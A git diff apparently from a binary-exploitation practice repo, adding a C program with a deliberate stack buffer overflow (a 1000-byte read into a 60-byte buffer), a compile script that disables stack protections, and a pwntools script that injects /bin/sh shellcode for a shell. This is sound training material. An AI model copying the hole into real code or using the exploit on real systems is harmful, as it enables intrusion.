diff --git a/.gitignore b/.gitignore
index c6127b3..11042af 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,3 +1,6 @@
+# gdb
+.gdb_history
+
 # Prerequisites
 *.d
 
diff --git a/stackoverflow/no-protection/answer.py b/stackoverflow/no-protection/answer.py
new file mode 100644
index 0000000..b18284f
--- /dev/null
+++ b/stackoverflow/no-protection/answer.py
@@ -0,0 +1,15 @@
+#!/usr/bin/env python2
+from pwn import *
+from LibcSearcher import *
+import os
+context.log_level="debug"
+context(arch="amd64",os="linux")
+
+p=process('./hello')
+shellcode=asm(shellcraft.sh())
+len_sc=len(shellcode)
+payload=0x48*'0'+p64(0x00007ffff7a08118)+shellcode
+with open('payload.txt', 'w') as f:
+	f.write(payload)
+p.sendline(payload)
+p.interactive()
diff --git a/stackoverflow/no-protection/compile.sh b/stackoverflow/no-protection/compile.sh
new file mode 100755
index 0000000..87b9dad
--- /dev/null
+++ b/stackoverflow/no-protection/compile.sh
@@ -0,0 +1,2 @@
+#!/bin/sh
+gcc hello.c -g -o hello -zexecstack -fno-stack-protector -no-pie
diff --git a/stackoverflow/no-protection/hello b/stackoverflow/no-protection/hello
new file mode 100755
index 0000000..801daf5
Binary files /dev/null and b/stackoverflow/no-protection/hello differ
diff --git a/stackoverflow/no-protection/hello.c b/stackoverflow/no-protection/hello.c
new file mode 100644
index 0000000..c0f9a47
--- /dev/null
+++ b/stackoverflow/no-protection/hello.c
@@ -0,0 +1,13 @@
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+void SayHello(void){
+    char tmpName[60];
+    read(0, tmpName, 1000);
+    printf("Hello %s\n", tmpName);
+}
+
+int main(int argc, char** argv){
+    SayHello();
+    return 0;
+}
diff --git a/stackoverflow/no-protection/payload.txt b/stackoverflow/no-protection/payload.txt
new file mode 100644
index 0000000..5a7cd23
Binary files /dev/null and b/stackoverflow/no-protection/payload.txt differ
diff --git a/stackoverflow/no-protection/peda-session-hello.txt b/stackoverflow/no-protection/peda-session-hello.txt
new file mode 100644
index 0000000..8f39891
--- /dev/null
+++ b/stackoverflow/no-protection/peda-session-hello.txt
@@ -0,0 +1,2 @@
+break SayHello
+